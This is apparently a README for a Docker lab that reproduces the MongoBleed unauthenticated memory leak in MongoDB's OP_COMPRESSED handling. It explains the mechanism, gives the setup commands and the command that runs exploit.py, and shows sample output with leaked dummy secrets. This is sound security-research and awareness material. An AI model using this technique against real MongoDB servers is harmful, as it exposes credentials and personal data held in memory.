
MongoBleed (CVE-2025-14847) Lab & PoC : A complete educational environment to reproduce the critical unauthenticated memory leak in MongoDB. Includes a vulnerable Docker container with multi-database seeding (PII, API keys) and a Python exploit to demonstrate data extraction. Ideal for security research and awareness. 1-day analysis.
このラボは、MongoDB の致命的な脆弱性である MongoBleed(CVE-2025-14847)を再現・分析するために設計されています。この欠陥により、認証されていない攻撃者が、圧縮メッセージの不適切な処理が原因で、サーバーのメモリから機密データを読み取ることが可能になります。
この環境には、漏えいの重大性を実証するため、ダミーの機密データ(PII、API キー、金融記録)が投入された脆弱な MongoDB インスタンスが含まれています。
CVE ID: CVE-2025-14847
名称: MongoBleed
コンポーネント: Wire Protocol (OP_COMPRESSED)
影響を受けるバージョン: MongoDB 6.0.x < 6.0.27、7.0.x < 7.0.28、8.0.x < 8.0.17(その他)
URL: クリックしてください -> NVD CVE-2025-14847
この脆弱性は、MongoDB が zlib 圧縮アルゴリズムを使用した OP_COMPRESSED メッセージを処理する方法に起因します。
uncompressed_size フィールドを、実際の展開後データサイズよりも意図的にはるかに大きな値に設定した圧縮メッセージを送信します。uncompressed_size に基づいてメモリバッファを割り当てます。zlib 展開機は、実際の(小さな)ペイロードをこのバッファの先頭に書き込みます。バッファの残りの部分は初期化されないままとなり、以前の操作からの残存データ(RAM アーティファクト)を含みます。ラボは以下で構成されています:
admin / secretpassword)init-mongo.js):
compute_instances: 機密メタデータ(User Data スクリプト、API キー)deployment_secrets: 高価値ターゲット(K8s トークン、CI/CD キー、Slack Webhook)users: ユーザー資格情報、パスワードハッシュ(Argon2)、MFA バックアップコード(平文で漏えい)query_logs: 過去のクエリが含まれ、一部には漏えいした資格情報(例: AWS キー)が含まれますexploit.py)脆弱なコンテナを起動します。これにより、データベースが自動的に作成され、データが投入されます。
docker-compose up -d
データベースが初期化され、データが読み込まれるまで約 10〜15 秒待ちます。
注記: 以前にこのラボを実行したことがある場合は、ボリュームをリセットして最新のデータ構造を読み込んでください:
docker-compose down -v
docker-compose up -d
必要な依存関係は、従来の requirements.txt または最新の pyproject.toml のいずれかを使用して pip でインストールできます。
オプション A: requirements.txt を使用(標準)
pip install -r requirements.txt
オプション B: pyproject.toml を使用(最新) これにより、プロジェクトとその依存関係が現在の環境にインストールされます。
pip install .
データベースに到達可能であり、データが正しく投入されていることを確認するための検証スクリプトを用意しています。
python verify_lab.py
このスクリプトは、管理者資格情報を使用して、sensitive_db、legacy_crm などのデータベースの存在を確認します。
Python スクリプトを実行してサーバーを攻撃します。この手順では資格情報は不要であり、この脆弱性が認証なしで利用可能であることを実証します。
python exploit.py --host localhost --port 27017 --min 100 --max 5000
このスクリプトは以下の手順を実行します:
OP_COMPRESSED ヘッダーでラップします。期待される出力: さまざまなオフセットでリークが検出されたことを示す出力と、その後ろに検出されたシークレットの要約が表示されるはずです。
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
本番環境でこの脆弱性を修正するには:
このプロジェクトは MIT ライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。
この資料は教育および研究目的のみを対象としています。このエクスプロイトを、所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。作者は、この情報またはツールの誤用について一切の責任を負いません。
Joseph Meneses (ElJoamy)
バックエンドおよび AI 開発者 · サイバーセキュリティエンジニア · DBA · ペネトレーションテスター